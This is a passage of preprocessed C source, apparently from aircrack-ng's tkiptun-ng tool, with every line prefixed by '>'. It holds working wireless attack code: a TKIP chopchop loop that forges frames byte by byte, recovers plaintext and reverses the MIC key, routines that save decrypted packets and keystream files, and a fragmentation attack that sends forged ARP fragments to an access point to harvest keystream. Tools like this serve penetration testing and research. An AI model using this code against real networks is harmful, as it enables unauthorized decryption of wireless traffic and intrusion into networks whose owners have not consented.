"\rLooks like mic failure report was not detected." > "Waiting %i seconds before trying again to avoid " > "the AP shutting down.\n", opt.mic_failure_interval); > fflush( stdout ); > settle = 1; > sleep(opt.mic_failure_interval); > } > > if( dev.fd_rtc >= 0 ) > { > if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) > { > perror( "\nread(/dev/rtc) failed" ); > return( 1 ); > } > > ticks[0]++; > ticks[1]++; > ticks[2]++; > ticks[3]++; > } > else > { > > > gettimeofday( &tv, ((void *)0) ); > usleep( 976 ); > gettimeofday( &tv2, ((void *)0) ); > > f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) > + (float) ( tv2.tv_usec - tv.tv_usec ); > > ticks[0] += f / 976; > ticks[1] += f / 976; > ticks[2] += f / 976; > ticks[3] += f / 976; > } > > > > if( ticks[1] > (8192/10) ) > { > ticks[1] = 0; > printf( "\rSent %3ld packets, current guess: %02X...\33[K", > nb_pkt_sent, guess ); > fflush( stdout ); > } > > > > if( data_end < 47 && tries > 512) > { > header_rec: > > printf( "\n\nThe AP appears to drop packets shorter " > "than %d bytes.\n",data_end ); > > data_end = 46; > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > > diff = z-24; > > if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 && > ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 && > ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 ) > { > printf( "Enabling standard workaround: " > "ARP header re-creation.\n" ); > > chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; > chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06; > chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00; > chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01; > chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08; > chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00; > } > else > { > printf( "Enabling standard workaround: " > " IP header re-creation.\n" ); > > n = caplen - ( z + 16 ); > > chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA; > chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA; > chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; > chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; > chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; > chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; > chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; > chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00; > chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 ); > chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF ); > > memcpy( h80211, srcbuf, caplen ); > > for( i = 26 + 8; i < (int) caplen; i++ ) > h80211[i - 8] = h80211[i] ^ chopped[i]; > > > > for( i = 0; i < 16; i++ ) > { > h80211[26 + 8] = 0x40 + i; > chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i ); > > for( j = 0; j < 256; j++ ) > { > h80211[26 + 9] = j; > chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j; > > if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) > goto have_crc_match; > } > } > > printf( "This doesn't look like an IP packet, " > "try another one.\n" ); > } > > have_crc_match: > break; > } > > if( ( ticks[2] * opt.r_nbpps ) / 8192 >= 1 ) > { > > > ticks[2] = 0; > > memcpy( h80211, chopped, data_end - 1 ); > > > > > > if( is_deauth_mode ) > { > opt.r_smac[1] |= ( guess < 256 ); > opt.r_smac[5] = guess & 0xFF; > } > else > { > opt.r_dmac[1] |= ( guess < 256 ); > opt.r_dmac[5] = guess & 0xFF; > } > > > > > if( guess < 256 ) > { > h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; > h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; > h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; > h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; > } > > (*__errno_location ()) = 0; > > if( send_packet( h80211, data_end -1 ) != 0 ) > return( 1 ); > > if( (*__errno_location ()) != 11 ) > { > guess++; > > if( guess > 256 ) > guess = 0; > else > tries++; > > settle=0; > } > > if(tries > 768 && data_end < srclen) > { > > tries = 0; > > data_end++; > > guess = chopped[data_end - 1] ^ srcbuf[data_end - 1]; > > chopped[data_end - 1] ^= guess; > chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; > chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; > chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; > chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; > > ticks[3] = 0; > nb_pkt_sent = 0; > nb_bad_pkt = 0; > guess = 256; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("\nMoved one step backwards to chop the last byte again.\n"); > continue; > } > } > > > > n = read_packet( h80211, sizeof( h80211 ), ((void *)0) ); > > if( n < 0 ) return( 1 ); > if( n == 0 ) continue; > > nb_pkt_read++; > > > > if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) > { > if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 ) > { > nb_bad_pkt++; > > if( nb_bad_pkt > 2 ) > { > printf( > "\n\nFailure: got several deauthentication packets " > "from the AP - you need to start the whole process " > "all over again, as the client got disconnected.\n\n" ); > return( 1 ); > } > > continue; > } > > if( h80211[4] != opt.r_smac[0] ) continue; > if( h80211[6] != opt.r_smac[2] ) continue; > if( h80211[7] != opt.r_smac[3] ) continue; > if( h80211[8] != opt.r_smac[4] ) continue; > > > > > > > if( data_end < 41 ) goto header_rec; > > printf( "\n\nFailure: the access point does not properly " > "discard frames with an\ninvalid ICV - try running " > "aireplay-ng in authenticated mode (-h) instead.\n\n" ); > return( 1 ); > > } > else > { > > > if( ( h80211[0] & 0x0C ) != 8 ) continue; > if( ( h80211[0] & 0x70 ) != 0 ) continue; > > if( ( h80211[1] & 0x40 ) == 0 ) continue; > > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > > > if( ( h80211[z + 3] & 0x20 ) == 0 ) continue; > > > if( z+127 != n ) continue; > > > > > if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue; > > > switch( h80211[1] & 3 ) > { > case 1: > if( memcmp( bssid, h80211 + 4, 6 ) != 0 && > memcmp( dmac , h80211 + 10, 6 ) != 0 && > memcmp( bssid, h80211 + 16, 6 ) != 0) continue; > break; > case 2: > if( memcmp( smac , h80211 + 4, 6 ) != 0 && > memcmp( bssid, h80211 + 10, 6 ) != 0 && > memcmp( bssid, h80211 + 16, 6 ) != 0) continue; > break; > default: > continue; > break; > } ># 2797 "tkiptun-ng.c" > if(nb_pkt_sent < 1) > continue; > } > > > > > tries = 0; > settle = 0; > guess = (guess - 1) % 256; > > chopped[data_end - 1] ^= guess; > chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; > chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; > chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; > chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; > > n = caplen - data_start; > > printf( "\r"); { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | " > "%4ld frames written in %5.0fms\n", data_end - 1, > 100 * ( caplen - data_end ) / n, > chopped[data_end - 1], > chopped[data_end - 1] ^ srcbuf[data_end - 1], > nb_pkt_sent, ticks[3] ); > > if( is_deauth_mode ) > { > opt.r_smac[1] = rand() & 0x3E; > opt.r_smac[2] = rand() & 0xFF; > opt.r_smac[3] = rand() & 0xFF; > opt.r_smac[4] = rand() & 0xFF; > } > else > { > opt.r_dmac[1] = rand() & 0xFE; > opt.r_dmac[2] = rand() & 0xFF; > opt.r_dmac[3] = rand() & 0xFF; > opt.r_dmac[4] = rand() & 0xFF; > } > > ticks[3] = 0; > nb_pkt_sent = 0; > nb_bad_pkt = 0; > guess = 256; > > data_end--; > > gettimeofday(&opt.last_mic_failure, ((void *)0)); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("\rSleeping for %i seconds.", opt.mic_failure_interval); > fflush(stdout); > > if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) > break; > > while(1) > { > gettimeofday(&mic_fail, ((void *)0)); > if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) > break; > sleep(1); > } > > alarm( 0 ); > } > > > > memcpy( h80211, srcbuf, caplen ); > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > diff = z-24; > > chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1; > chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2; > chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; > chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; > chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; > chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; > > for( i = 26 + 8; i < (int) caplen; i++ ) > h80211[i - 8] = h80211[i] ^ chopped[i]; > > if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) { > if (!tried_header_rec) { > printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); > tried_header_rec=1; > goto header_rec; > } else { > printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); > } > } > > caplen -= 8 + 4; > > if(opt.got_ptk) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]); > calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic); > if( memcmp(mic, h80211+caplen-8, 8) == 0) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Correct MIC!\n"); > } > else > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Incorrect MIC!\n"); > } > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Captured MIC: "); > for(i=0; i<7; i++) > printf("%02X:", h80211[caplen-8+i]); > printf("%02X\n", h80211[caplen-1]); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Calculated MIC: "); > for(i=0; i<7; i++) > printf("%02X:", mic[i]); > printf("%02X\n", mic[7]); > } > > calc_tkip_mic_key(h80211, caplen, mic); > > h80211[1] &= 0xBF; > > if((h80211[1] & 3) == 1) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Reversed MIC Key (ToDS): "); > for(i=0; i<7; i++) > printf("%02X:", mic[i]); > printf("%02X\n", mic[7]); > memcpy(opt.ptk+48+8, mic, 8); > opt.got_mic_tods=1; > opt.chopped_to_plain = (unsigned char*) malloc( caplen ); > memcpy(opt.chopped_to_plain, h80211, caplen); > opt.chopped_to_plain_len = caplen; > opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); > memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8); > opt.chopped_to_prga_len = caplen-26+4+8; > } > > if((h80211[1] & 3) == 2) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Reversed MIC Key (FromDS): "); > for(i=0; i<7; i++) > printf("%02X:", mic[i]); > printf("%02X\n", mic[7]); > memcpy(opt.ptk+48, mic, 8); > opt.got_mic_fromds=1; > opt.chopped_from_plain = (unsigned char*) malloc( caplen ); > memcpy(opt.chopped_from_plain, h80211, caplen); > opt.chopped_from_plain_len = caplen; > opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); > memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8); > opt.chopped_from_prga_len = caplen-26+4+8; > } > > > > gettimeofday( &tv, ((void *)0) ); > > pfh_out.magic = 0xA1B2C3D4; > pfh_out.version_major = 2; > pfh_out.version_minor = 4; > pfh_out.thiszone = 0; > pfh_out.sigfigs = 0; > pfh_out.snaplen = 65535; > pfh_out.linktype = 105; > > pkh.tv_sec = tv.tv_sec; > pkh.tv_usec = tv.tv_usec; > pkh.caplen = caplen; > pkh.len = caplen; > > lt = localtime( (const time_t *) &tv.tv_sec ); > > memset( strbuf, 0, sizeof( strbuf ) ); > snprintf( strbuf, sizeof( strbuf ) - 1, > "replay_dec-%02d%02d-%02d%02d%02d.cap", > lt->tm_mon + 1, lt->tm_mday, > lt->tm_hour, lt->tm_min, lt->tm_sec ); > > printf( "\nSaving plaintext in %s\n", strbuf ); > > if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) ) > { > perror( "fopen failed" ); > return( 1 ); > } > > n = sizeof( struct pcap_file_header ); > > if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed\n" ); > return( 1 ); > } > > n = sizeof( pkh ); > > if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed" ); > return( 1 ); > } > > n = pkh.caplen; > > if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed" ); > return( 1 ); > } > > fclose( f_cap_out ); > > > > memset( strbuf, 0, sizeof( strbuf ) ); > snprintf( strbuf, sizeof( strbuf ) - 1, > "replay_dec-%02d%02d-%02d%02d%02d.xor", > lt->tm_mon + 1, lt->tm_mday, > lt->tm_hour, lt->tm_min, lt->tm_sec ); > > printf( "Saving keystream in %s\n", strbuf ); > > if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) ) > { > perror( "fopen failed" ); > return( 1 ); > } > > n = pkh.caplen + 8 - 26 - 8; > > if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed" ); > return( 1 ); > } > > fclose( f_cap_out ); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", > (long) time( ((void *)0) ) - tt, > (float) ( pkh.caplen - 6 - 26 ) / > (float) ( time( ((void *)0) ) - tt ) ); > > return( 0 ); >} > >int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size) >{ > unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; > unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00"; > > > memcpy(h80211, header80211, 4); > memcpy(h80211+4, bssid, 6); > memcpy(h80211+10, src_mac, 6); > memcpy(h80211+16, dst_mac, 6); > h80211[22] = '\x00'; > h80211[23] = '\x00'; > > > memcpy(h80211+24, arp_header, 16); > memcpy(h80211+40, src_mac, 6); > memcpy(h80211+46, src_ip, 4); > memset(h80211+50, '\x00', 6); > memcpy(h80211+56, dst_ip, 4); > > > memset(h80211+60, '\x00', size-60); > > return 0; >} > >void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen) >{ > size_t unused; > FILE *xorfile; > xorfile = fopen(filename, "wb"); > unused = fwrite (iv, 1, 4, xorfile); > unused = fwrite (prga, 1, prgalen, xorfile); > fclose (xorfile); >} > >int do_attack_fragment() >{ > unsigned char packet[4096]; > unsigned char packet2[4096]; > unsigned char prga[4096]; > unsigned char iv[4]; > > > > char strbuf[256]; > > struct tm *lt; > struct timeval tv, tv2; > > int done; > int caplen; > int caplen2; > int arplen; > int round; > int prga_len; > int isrelay; > int again; > int length; > int ret; > int gotit; > int acksgot; > int packets; > int z; > > unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; > > done = caplen = caplen2 = arplen = round = 0; > prga_len = isrelay = gotit = again = length = 0; > > if( memcmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) == 0 ) > { > printf( "Please specify a source MAC (-h).\n" ); > return( 1 ); > } > > if(getnet(((void *)0), 1, 1) != 0) > return 1; > > if( memcmp( opt.r_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) == 0 ) > { > memset( opt.r_dmac, '\xFF', 6); > opt.r_dmac[5] = 0xED; > } > > if( memcmp( opt.r_sip, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 4 ) == 0 ) > { > memset( opt.r_sip, '\xFF', 4); > } > > if( memcmp( opt.r_dip, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 4 ) == 0 ) > { > memset( opt.r_dip, '\xFF', 4); > } > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf ("Waiting for a data packet...\n"); > > while(!done) > { > round = 0; > > if( capture_ask_packet( &caplen, 0 ) != 0 ) > return -1; > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > > if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) > continue; > > memcpy( packet2, h80211, caplen ); > caplen2 = caplen; > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Data packet found!\n"); > > if ( memcmp( packet2 + 4, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 || > memcmp( packet2 + 16, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 ) > { > packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); > packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); > packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08); > } > > prga_len = 7; > > again = 2; > > memcpy( packet, packet2, caplen2 ); > caplen = caplen2; > memcpy(prga, packet+z+4, prga_len); > memcpy(iv, packet+z, 4); > > xor_keystream(prga, snap_header, prga_len); > > while(again == 2) > { > again = 0; > > arplen=60; > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); > > if ((round % 2) == 1) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n"); > memset(h80211+24, '\x00', 39); > arplen=63; > } > > acksgot=0; > packets=(arplen-24)/(prga_len-4); > if( (arplen-24)%(prga_len-4) != 0 ) > packets++; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Sending fragmented packet\n"); > send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); > > > > gettimeofday( &tv, ((void *)0) ); > > > while (!gotit) > { > caplen = read_packet(packet, sizeof(packet), ((void *)0)); > z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( packet[0] & 0x80 ) == 0x80 ) > z+=2; > > if (packet[0] == 0xD4 ) > { > if (! memcmp(opt.r_smac, packet+4, 6)) > { > acksgot++; > } > continue; > } > > if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) > { > if ( (packet[1] & 2) ) > { > if (! memcmp(opt.r_dmac, packet+4, 6)) > { > if (! memcmp(opt.r_smac, packet+16, 6)) > { > if (caplen-z < 66) > { > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n"); > gotit = 1; > isrelay = 1; > } > } > } > } > } > > > > if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" ); > read_sleep( 5*1000000 ); > } > > > > if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" ); > read_sleep( 5*1000000 ); > } > > gettimeofday( &tv2, ((void *)0) ); > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n"); > again = 2; > break; > } > > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n"); > round++; > again = 2; > if (round > 10) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Still nothing, trying another packet...\n"); > again = 1; > } > break; > } > } > } > > if(again == 1) continue; > > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); > if (caplen-z == 68-24) > { > > > } > if (caplen-z == 71-24) > { > > > memset(h80211+24, '\x00', 39); > } > > if (! isrelay) > { > > unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; > > > > memcpy(ct+16, packet+16, 6); > memcpy(ct+22, opt.r_dip, 4); > > > memcpy(ct+26, opt.r_smac, 6); > memcpy(ct+32, opt.r_sip, 4); > > > memcpy(prga, packet+z+4, 36); > xor_keystream(prga, ct, 36); > } > else > { > memcpy(prga, packet+z+4, 36); > xor_keystream(prga, h80211+24, 36); > } > > memcpy(iv, packet+z, 4); > round = 0; > again = 2; > while(again == 2) > { > again = 0; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying to get 384 bytes of a keystream\n"); > > arplen=408; > > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); > if ((round % 2) == 1) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n"); > memset(h80211+24, '\x00', arplen+8); > arplen+=32; > } > > acksgot=0; > packets=(arplen-24)/(32); > if( (arplen-24)%(32) != 0 ) > packets++; > > send_fragments(h80211, arplen, iv, prga, 32, 0); > > > > gettimeofday( &tv, ((void *)0) ); > > gotit=0; > while (!gotit) > { > caplen = read_packet(packet, sizeof(packet), ((void *)0)); > z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( packet[0] & 0x80 ) == 0x80 ) > z+=2; > > if (packet[0] == 0xD4 ) > { > if (! memcmp(opt.r_smac, packet+4, 6)) > acksgot++; > continue; > } > > if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) > { > if ( (packet[1] & 2) ) > { > if (! memcmp(opt.r_dmac, packet+4, 6)) > { > if (! memcmp(opt.r_smac, packet+16, 6)) > { > if (caplen-z > 400-24 && caplen-z < 500-24) > { > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n"); > gotit = 1; > isrelay = 1; > } > } > } > } > } > > > > if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" ); > read_sleep( 5*1000000 ); > } > > > > if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" ); > read_sleep( 5*1000000 ); > } > > gettimeofday( &tv2, ((void *)0) ); > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n"); > again = 2; > break; > } > > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n"); > round++; > again = 2; > if (round > 10) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Still nothing, trying another packet...\n"); > again = 1; > } > break; > } > } > } > > if(again == 1) continue; > > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); > if (caplen-z == 416-24) > { > > > } > if (caplen-z == 448-24) > { > > > memset(h80211+24, '\x00', 416); > } > > memcpy(iv, packet+z, 4); > memcpy(prga, packet+z+4, 384); > xor_keystream(prga, h80211+24, 384); > > round = 0; > again = 2; > while(again == 2) > { > again = 0; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying to get 1500 bytes of a keystream\n"); > > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); > arplen=1500; > if ((round % 2) == 1) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n"); > memset(h80211+24, '\x00', 1508); > arplen+=32; > } > > acksgot=0; > packets=(arplen-24)/(300); > if( (arplen-24)%(300) != 0 ) > packets++; > > send_fragments(h80211, arplen, iv, prga, 300, 0); > > > > gettimeofday( &tv, ((void *)0) ); > > gotit=0; > while (!gotit) > { > caplen = read_packet(packet, sizeof(packet), ((void *)0)); > z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( packet[0] & 0x80 ) == 0x80 ) > z+=2; > > if (packet[0] == 0xD4 ) > { > if (! memcmp(opt.r_smac, packet+4, 6)) > acksgot++; > continue; > } > > if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) > { > if ( (packet[1] & 2) ) > { > if (! memcmp(opt.r_dmac, packet+4, 6)) > { > if (! memcmp(opt.r_smac, packet+16, 6)) > { > if (caplen-z > 1496-24) > { > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n"); > gotit = 1; > isrelay = 1; > } > } > } > } > } > > > > if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t 